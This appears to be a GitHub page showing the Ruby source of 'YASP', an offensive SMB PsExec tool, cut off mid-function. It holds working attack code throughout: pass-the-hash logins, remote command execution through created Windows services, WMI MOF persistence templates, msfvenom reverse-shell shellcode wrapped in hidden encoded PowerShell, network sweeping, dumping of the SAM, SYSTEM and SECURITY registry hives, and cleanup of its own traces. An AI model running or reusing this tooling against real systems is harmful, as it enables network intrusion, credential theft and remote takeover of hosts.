-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathyasp
executable file
·1791 lines (1737 loc) · 71.1 KB
/
yasp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env ruby
#
# Yet Another SMB PSEXEC Tool
# By: Hood3dRob1n
#
# NOTE: gem install librex
# NOT 'rex', as 'librex' is the MSF version....
#
# PATH To Metasploit:
# Leave MSFPATH='' Empty if you dont want MSF Assistance
# Means no PowerShell Option if not...
####### OPTIONAL ######## M
MSFPATH='' # S
######################### F
##### STD GEMS ####### P
require 'base64' # W
require 'optparse' # N
require 'rubygems' # S
#### NON-STD GEMS #### A
require 'colorize' # U
require 'readline' # C
require 'text-table' # E
require 'rex' ################# P
require 'rex/proto/smb' # W
require 'rex/proto/ntlm' # N
require 'rex/proto/dcerpc' # S
require 'rex/encoder/ndr' # A
require 'rex/proto/smb/simpleclient' # U
require './classes/smbclient-rb' # C
###################################### E
######### BORROWED FROM MSF PSEXEC ############ W
# SMB constants from Rex # H
SIMPLE = Rex::Proto::SMB::SimpleClient # Y
XCEPT = Rex::Proto::SMB::Exceptions #
CONST = Rex::Proto::SMB::Constants # R
# E
# Alias over the Rex DCERPC protocol modules # I
DCERPCPacket = Rex::Proto::DCERPC::Packet # N
DCERPCClient = Rex::Proto::DCERPC::Client # V
DCERPCResponse = Rex::Proto::DCERPC::Response # E
DCERPCUUID = Rex::Proto::DCERPC::UUID # N
NDR = Rex::Encoder::NDR # T
############################################### ?
# Home & Results Storage
HOME = File.expand_path(File.dirname(__FILE__))
RESULTS = HOME + '/results/'
# Catch System Interupts
trap("SIGINT") {puts "\n\nWARNING! CTRL+C Detected, Shutting things down".light_red + ".....\n\n".white; @smb.disconnect(@smbshare) if @smb; @socket.close if @socket; exit 666;}
# Simple Banner
def banner
puts
puts "Y".light_blue + ".".white + "A".light_blue + ".".white + "S".light_blue + ".".white + "P".light_blue
puts "By".light_blue + ": Hood3dRob1n".white
puts
end
# Clear Terminal
def cls
if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i
system('cls')
else
system('clear')
end
end
# Exec local command
# Returns output as array
def commandz(foo)
bar = IO.popen("#{foo}")
foobar = bar.readlines
return foobar
end
# Execute commands in separate process
# Will be leveraged to spawn new X-term windows for stuff
def fireNforget(command)
pid = Process.fork
if pid.nil?
sleep(1)
exec "#{command}"
else
Process.detach(pid)
end
end
# Generate a random aplha string length of value of num
def randz(num)
(0...num).map{ ('a'..'z').to_a[rand(26)] }.join
end
# Local OS shell to run commands on fly
def local_os_shell
cls
banner
prompt = "(Local)> "
while line = Readline.readline("#{prompt}", true)
cmd = line.chomp
case cmd
when /^exit$|^quit$|^back$/i
puts "OK, Returning to Main Menu".light_red + "....".white
break
else
begin
rez = commandz(cmd) #Run command passed
puts "#{rez.join}".cyan #print results nicely for user....
rescue Errno::ENOENT => e
puts "#{e}".light_red
rescue => e
puts "#{e}".light_red
end
end
end
end
# Ruby Eval() Console for testing ruby shit on the fly.....
def rubyme(code)
begin
puts "#{eval("#{code}")}".cyan
rescue NoMethodError => e
puts "#{e}".light_red
rescue NameError => e
puts "#{e}".light_red
rescue SyntaxError => e
puts "#{e}".light_red
rescue TypeError => e
puts "#{e}".light_red
end
end
# Simple .MOF Template to run our CMD after autocompiled
# Modded JSCRIPT MOF based on PHP Exploit I found on a server (unknown author)
def generate_cmd_mof(cmd)
mof = "#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\")
instance of __EventFilter as $EventFilter
{
EventNamespace = \"Root\\\\Cimv2\";
Name = \"filtP2\";
Query = \"Select * From __InstanceModificationEvent \"
\"Where TargetInstance Isa \\\"Win32_LocalTime\\\" \"
\"And TargetInstance.Second = 5\";
QueryLanguage = \"WQL\";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = \"consPCSV2\";
ScriptingEngine = \"JScript\";
ScriptText =
\"var WSH = new ActiveXObject(\\\"WScript.Shell\\\")\\nWSH.run(\\\"#{cmd}\\\")\";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};";
return mof
end
# Borrowed from MSF
# Simple .MOF Template
# Will run our EXE Payload when autocompiled
def generate_exe_mof(mofname, exe)
mof = <<-EOT
#pragma namespace("\\\\\\\\.\\\\root\\\\cimv2")
class MyClass@CLASS@
{
[key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
[key] string Name;
[not_null] string ScriptingEngine;
string ScriptFileName;
[template] string ScriptText;
uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
Name = "ActiveScriptEventConsumer";
CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
PerUserInitialization = TRUE;
};
instance of __EventConsumerProviderRegistration
{
Provider = $P;
ConsumerClassNames = {"ActiveScriptEventConsumer"};
};
Instance of ActiveScriptEventConsumer as $cons
{
Name = "ASEC";
ScriptingEngine = "JScript";
ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"@EXE@\\");} catch (err) {};\\nsv = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");try {sv.Delete(\\"MyClass@CLASS@\\");} catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try {sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};";
};
Instance of ActiveScriptEventConsumer as $cons2
{
Name = "qndASEC";
ScriptingEngine = "JScript";
ScriptText = "\\nvar objfs = new ActiveXObject(\\"Scripting.FileSystemObject\\");\\ntry {var f1 = objfs.GetFile(\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\#{mofname}\\");\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\"@EXE@\\");\\nf2.Delete(true);\\nvar s = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");s.Delete(\\"__EventFilter.Name='qndfilt'\\");s.Delete(\\"ActiveScriptEventConsumer.Name='qndASEC'\\");\\n} catch(err) {};";
};
instance of __EventFilter as $Filt
{
Name = "instfilt";
Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\"MyClass@CLASS@\\"";
QueryLanguage = "WQL";
};
instance of __EventFilter as $Filt2
{
Name = "qndfilt";
Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\"Win32_Process\\" AND TargetInstance.Name = \\"@EXE@\\"";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding as $bind
{
Consumer = $cons;
Filter = $Filt;
};
instance of __FilterToConsumerBinding as $bind2
{
Consumer = $cons2;
Filter = $Filt2;
};
instance of MyClass@CLASS@ as $MyClass
{
Name = "ClassConsumer";
};
EOT
classname = rand(0xffff).to_s
mof.gsub!(/@CLASS@/, classname)
mof.gsub!(/@EXE@/, exe)
return mof
end
# Preps and Builds our PowerShell Command
# Pass in the finishing string to our MSFVENOM payload builder to initiate
# MSF builds payload, we cut out the shellcode from output
# Then convert to powershell format and ready for launch
# Returns a powershell command ready to be run however you can
def powershell_builder(venomstring)
if File.exists?("#{MSFPATH}msfvenom")
# venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p <payload> LHOST=<ip> LPORT=<port>'
shellcode="#{`#{MSFPATH}msfvenom #{venomstring} -b \\x00`}".gsub(";", "").gsub(" ", "").gsub("+", "").gsub('"', "").gsub("\n", "").gsub('buf=','').strip.gsub('\\',',0').sub(',', '')
# => yields a variable holding our escapped shellcode with ',' between each char.....
puts "[".light_blue + "*".white + "]".light_blue + " Converting Base ShellCode to PowerShell friendly format.....".white
# Borrowed from one of several appearances across the many Python written scripts....
ps_base = "$code = '[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };"
# => Our base PowerShell wrapper to get the job done now in var
# => place our shellcode in the placeholders
ps_base_cmd = ps_base.sub('%s', shellcode)
# Prep it for final stages and put in funky ps format....
ps_cmd_prepped=String.new
ps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + "\x00" }
# Base64 Encode our Payload so it is primed & ready for PowerShell usage
stager = Base64.encode64("#{ps_cmd_prepped}")
# The magic is now ready!
ps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub("\n", '')
return ps_cmd
else
puts "[".light_red + "*".white + "]".light_red + " Can't find MSFVENOM to build payloads!".white
puts "[".light_red + "*".white + "]".light_red + " Check or provide MSF Path in source to correct......".white
return nil
end
end
# Configure Connection Credentials
def cred_config
puts "Connection Credentials Configurator".light_blue.underline + ": ".white
line = Readline.readline("(Target)> ", true)
@target = line.chomp
line = Readline.readline("(Set Hostname (Y/N)?)> ", true)
answer = line.chomp
if answer.upcase == 'Y' or answer.upcase == 'YES'
line = Readline.readline("(Hostname)> ", true)
@hostname = line.chomp
else
@hostname='*SMBSERVER'
end
line = Readline.readline("(Use SMB Port 139 (Y/N)?)> ", true)
answer = line.chomp
if answer.upcase == 'N' or answer.upcase == 'NO'
line = Readline.readline("(SMB Port)> ", true)
@port = line.chomp.to_i
else
@port=139
end
line = Readline.readline("(Username)> ", true)
@user = line.chomp
line = Readline.readline("(Password)> ", true)
@pass = line.chomp
line = Readline.readline("(Is Password a Hash (Y/N)?)> ", true)
answer = line.chomp
if answer.upcase == 'Y' or answer.upcase == 'YES'
@hashpass=true
if @pass =~ /(^0{32}):/
@padded=true # SMBCLIENT Doesn't need the padding so will remove later if needed
else
@padded=false
end
else
@hashpass=false
end
line = Readline.readline("(Set Domain Value (Y/N)?)> ", true)
answer = line.chomp
if answer.upcase == 'Y' or answer.upcase == 'YES'
line = Readline.readline("(Domain)> ", true)
@domain=line.chomp
else
@domain='.'
end
puts
puts "Validating provided info works, hang tight".light_blue + ".....".white
if smb_cred_check(@target,@port,@user,@pass,@domain, @hostname)
@smbclient = RubySmbClient.new(@target,@port.to_i, 'C$', @user,@pass,@domain, @hashpass)
@socket = Rex::Socket.create_tcp({ 'PeerHost' => @target, 'PeerPort' => @port.to_i })
@smb = Rex::Proto::SMB::SimpleClient.new(@socket, @port.to_i == 445)
@smb.login(@hostname,@user,@pass,@domain)
@smbshare='C$'
puts "w00t - Credentials Configured & Working".light_green + "!".white
@working=true
begin
cmd1 = "echo %TEMP%"
text = "C:\\\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "C:\\\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd1} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
tmp = get_output(text, false) # Use this to expand %TEMP% so we know where to write to....
@tmp=tmp.strip.chomp
files = [ text, bat ]
cleanup_after(files, false)
rescue => e
# Failed to find out %TEMP%, ask user for writable location...
puts "#{e}".light_red
@tmp=nil
end
else
puts
puts "Re-configure and try again or check network conditions".light_red + "....".white
puts
@working=false
end
end
# Return the current configrued credentials
def credz
return @target, @port, @user, @pass, @domain, @hashpass, @hostname
end
# DCERPC Request Handle
# Borrowed from MSF PSEXEC
def dcerpc_handle(uuid, version, protocol, opts, rhost)
Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts)
end
# DCERPC Session Bind
# Borrowed from MSF PSEXEC
def dcerpc_bind(handle, csocket, csimple, cuser, cpass)
opts = { }
opts['connect_timeout'] = 10
opts['read_timeout'] = 10
opts['smb_user'] = cuser
opts['smb_pass'] = cpass
opts['frag_size'] = 512
opts['smb_client'] = csimple
Rex::Proto::DCERPC::Client.new(handle, csocket, opts)
end
# Actual DCERPC Call
# Borrowed from MSF PSEXEC
def dcerpc_call(function, stub = '', timeout=nil, do_recv=true)
otimeout = dcerpc.options['read_timeout']
begin
dcerpc.options['read_timeout'] = timeout if timeout
dcerpc.call(function, stub, do_recv)
rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse
puts "The DCERPC service did not reply to our request".light_red + "!".white
return
ensure
dcerpc.options['read_timeout'] = otimeout
end
end
# Check if you have valid SMB credentials
# Returns true on success, false otherwise
# NOTE: Newer Windows need the hostname of target to connect (w7, 2k8, ?)
def smb_cred_check(host, port=445, user='Administrator', passorhash=nil, domain='.', hostname='*SMBSERVER')
begin
socket = Rex::Socket.create_tcp({ 'PeerHost' => host, 'PeerPort' => port.to_i })
smb = Rex::Proto::SMB::SimpleClient.new(socket, port.to_i == 445)
smb.login(hostname,user,passorhash,domain)
smb.connect("\\\\#{host}\\IPC$")
if (not smb.client.auth_user)
auth=false
else
auth=true
end
socket.close
return auth
rescue => e
puts "Error Connecting to #{host}".light_red + "!".white
if @hashpass and "#{e}" =~ /STATUS_LOGON_FAILURE \(Command=115 WordCount=0\)/
puts "Make sure your hash format meets requirements".light_yellow + "!".white
puts "If NTLM Hash Only, Pad with x32 0's".light_yellow + ": 00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c".white
puts "Otherwise".light_yellow + ": e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c".white
else
puts "\t=> ".white + "#{e}".light_red
end
return false
end
end
# Scan Class C Block
# Returns OS Results for Hosts who respond
# Results also saved to: smb_os_discovery.txt (overwritten each run)
def smb_os_discovery
puts "SMB OS Discovery Scanner".light_blue
puts
puts "Provide Class C Network Prefix to Scan".light_blue + ": ".white
puts "EX".light_blue + ": 192.168.1".white
puts
line = Readline.readline("(Network)> ", true)
network = line.chomp
puts
puts "Running SMB OS Discovery Scan against".light_blue + ": #{network}.1-254"
f = File.open(RESULTS + 'smb_os_discovery.txt', 'w+')
(1..254).each do |num|
os=''
client = RubySmbClient.new("#{network}.#{num}")
info = client.os_discovery
if info[0]
puts
f.puts "[*] Host: #{network}.#{num}, OS: #{info[1]}, DOMAIN: #{info[2]}"
puts "[".light_green + "*".white + "]".light_green + " Host: #{network}.#{num}, OS: #{info[1]}, DOMAIN: #{info[2]}".white
else
print "\r[".light_red + "*".white + "]".light_red + " Host: #{network}.#{num}".white
end
end
puts
f.puts
f.close
puts "SMB OS Discovery Scan Complete".light_blue + "!".white
puts "Check '#{RESULTS + 'smb_os_discovery.txt'}' for logged results".light_yellow + ".....".white
puts
end
# Check if File Exists and Can be opened
# Borrowed from MSF SMB Module
def smb_file_exist?(file)
begin
fd = @smb.open(file, 'ro')
rescue XCEPT::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.
#
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
# required to pull them out of a giant inverted hash
#
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
# 0xC0000225 => "STATUS_NOT_FOUND",
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
# If the server returns some other error, then there was a
# permissions problem or some other difficulty that we can't
# really account for and hope the caller can deal with it.
raise e unless error_is_not_found
found = !error_is_not_found
else
# There was no exception, so we know the file is openable
fd.close
found = true
end
found
end
# Read File over SMB
# Borrowed from PSEXEC Module
def smb_read_file(smbshare, file)
begin
@smb.connect("\\\\#{@target}\\#{smbshare}")
file = @smb.open(file.sub('C:', ''), 'ro')
contents = file.read
file.close
@smb.disconnect("\\\\#{@target}\\#{smbshare}")
return contents
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
puts "#{@target} - Unable to read file #{file}. #{e.class}: #{e}.".light_red
return nil
end
end
# Read Binary File over SMB
# Need to open in binary mode
# Needed for things like Registry hive files....
def smb_read_bin_file(smbshare, rfile)
begin
@smb.connect("\\\\#{@target}\\#{smbshare}")
file = @smb.open(rfile.sub('C:', ''), 'orb')
bin_content = file.read
file.close
@smb.disconnect("\\\\#{@target}\\#{smbshare}")
return bin_content
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{@target} - Unable to read file #{file}. #{e.class}: #{e}.")
return nil
end
end
# Remove remote file
# Borrowed from MSF SMB Module
def smb_file_rm(file)
fd = smb_open(file, 'ro')
fd.delete
end
# Borrowed from MSF SMB Module
# the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
# cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
# fd.chunk_size = 500 is better
def smb_open(path, perm)
@smb.open(path, perm, 500)
end
# Run a Single Command or Service Binary
# Borrowed from MSF PSEXEC Module
# Pass in command to execute
# OR
# Pass in path to binary to run
# Returns True on success, false otherwise
def smb_psexec(cmdorfile, verbose=true)
begin
@smb.connect("\\\\#{@target}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], @target)
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Binding to #{handle} ...".white if verbose
dcerpc = dcerpc_bind(handle,@socket, @smb, @user, @pass)
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Bound to #{handle} ...".white if verbose
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Obtaining a service manager handle...".white if verbose
scm_handle = nil
stubdata = NDR.uwstring("\\\\#{@target}") + NDR.long(0) + NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " #{@target} - Error getting scm handle: #{e}".white
return false
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
holdhandle = scm_handle
svc_handle = nil
svc_status = nil
stubdata =
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( cmdorfile ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Creating the service...".white if verbose
response = dcerpc.call(0x0c, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " #{@target} - Error creating service: #{e}".white
return false
end
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Closing service handle...".white if verbose
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Opening service...".white if verbose
begin
stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " #{@target} - Error opening service: #{e}".white
return false
end
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Starting the service...".white if verbose
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
end
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " #{@target} - Error starting service: #{e}".white
return false
end
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Removing the service...".white if verbose
stubdata = svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
end
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " #{@target} - Error removing service: #{e}".white
end
puts "[".light_blue + "*".white + "]".light_blue + " #{@target} - Closing service handle...".white if verbose
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " #{@target} - Error closing service handle: #{e}".white
end
select(nil, nil, nil, 1.0)
@smb.disconnect("\\\\#{@target}\\IPC$")
return true
rescue Rex::Proto::SMB::Exceptions::InvalidCommand
puts "[".light_red + "*".white + "]".light_red + " #{@target} - Network static causing issues, going to retry....".white
smb_psexec(cmdorfile, verbose)
end
end
# Retrive output from command
# Borrowed from MSF SMB PSEXEC
def get_output(file, verbose=true)
begin
output = smb_read_file(@smbshare, file.sub('c:\\\\', '').sub('c:\\', '').sub('C:', '').sub('c:', ''))
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
puts "[".light_red + "*".white + "]".light_red + " Error getting command output. #{$!.class}. #{$!}." if verbose
return
end
if output.nil?
puts "[".light_red + "*".white + "]".light_red + " Error getting command output. #{$!.class}. #{$!}." if verbose
return
end
if output.empty?
puts "[".light_yellow + "*".white + "]".light_yellow + " Command finished with no output".white if verbose
return
end
puts "\n#{output}".cyan if verbose
return output
end
# Removes files created during execution.
def cleanup_after(files, verbose=true)
begin
@smb.connect("\\\\#{@target}\\#{@smbshare}")
files.each do |file|
begin
if smb_file_exist?(file.sub('c:\\\\', '').sub('c:\\', '').sub('C:', '').sub('c:', '').gsub('\\\\', '\\'))
smb_file_rm(file.sub('c:\\\\', '').sub('c:\\', '').sub('C:', '').sub('c:', '').gsub('\\\\', '\\'))
end
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
puts "[".light_red + "*".white + "]".light_red + " Unable to cleanup #{file}. Error: #{cleanuperror}" if verbose
end
end
left = files.collect{ |f| smb_file_exist?(f.sub('C:', '')) }
if left.any?
puts "[".light_red + "*".white + "]".light_red + " Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target....".white if verbose
else
puts "[".light_green + "*".white + "]".light_green + " Cleanup was successful!" if verbose
end
@smb.disconnect("\\\\#{@target}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
puts "[".light_red + "*".white + "]".light_red + " Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target....".white if verbose
end
end
# Identify MSF Payload to use
# Build with MSFVENOM
# Convert to PowerShell ShellCode
# Run via psexec
def power_shell_hell
if MSFPATH.nil? or MSFPATH == ''
puts "[".light_red + "*".white + "]".light_red + " MSF Path not provided, can't use this option without it!".white
puts "[".light_red + "*".white + "]".light_red + " Check the source for where to edit to enable....".white
puts
else
puts "Windows Powershell Payload Builder".white.underline
puts
line = Readline.readline("(IP for PowerShell Reverse Payload)> ", true)
zIP = line.chomp
line = Readline.readline("(PORT for PowerShell Reverse Payload)> ", true)
zPORT = line.chomp
winz = {
'1' => 'windows/meterpreter/reverse_http',
'2' => 'windows/meterpreter/reverse_tcp',
'3' => 'windows/shell/reverse_tcp',
'4' => 'windows/shell/reverse_http',
'5' => 'windows/x64/meterpreter/reverse_https',
'6' => 'windows/x64/meterpreter/reverse_tcp',
'7' => 'windows/x64/shell/reverse_tcp'
}
while(true)
puts "Select Payload".light_yellow + ": ".white
winz.each { |x,y| puts "#{x}) ".white + "#{y}".light_yellow }
answer=gets.chomp
if answer.to_i > 0 and answer.to_i <= 7
payload=winz["#{answer.to_i}"]
break
end
end
puts "[".light_blue + "*".white + "]".light_blue + "Generating Base ShellCode for Payload.....".white
# Preps and Builds our PowerShell Command to run
ps_cmd = powershell_builder("-p #{payload} LHOST=#{zIP} LPORT=#{zPORT}")
if @tmp.nil?
# Failed to find out %TEMP%, ask user for writable location...
puts "Provide a writable location for temporary storage, like".light_yellow + ": C:\\\\\\\\WINDOWS\\\\Temp".white
line = Readline.readline("(Temp Path to use)> ", true)
tmp = line.chomp
puts
else
tmp=@tmp
end
puts "[".light_yellow + "*".white + "]".light_yellow + " Make sure listener is ready if needed.....".white
puts "[".light_blue + "*".white + "]".light_blue + " Attempting to run PowerShell payload on target.....".white
sleep(3)
text = "#{tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{ps_cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec)
files=[text, bat]
cleanup_after(files, false)
end
end
# Backup Main Registry HIves
# Provide Temp dir on target to use for storage
def make_reg_backups(tmp)
commandz = { 'SYSTEM' => "%COMSPEC% /C reg.exe save HKLM\\SYSTEM #{tmp}\\sys", 'SECURITY' => "%COMSPEC% /C reg.exe save HKLM\\SECURITY #{tmp}\\sec", 'SAM' => "%COMSPEC% /C reg.exe save HKLM\\SAM #{tmp}\\sam", 'SOFTWARE' => "%COMSPEC% /C reg.exe save HKLM\\SOFTWARE #{tmp}\\sw" }
commandz.each do |hive, cmd|
puts "[".light_blue + "*".white + "]".light_blue + " Copying #{hive} hive.....".white
begin
smb_psexec(cmd, false)
sleep(1) # Slight pause between backup runs
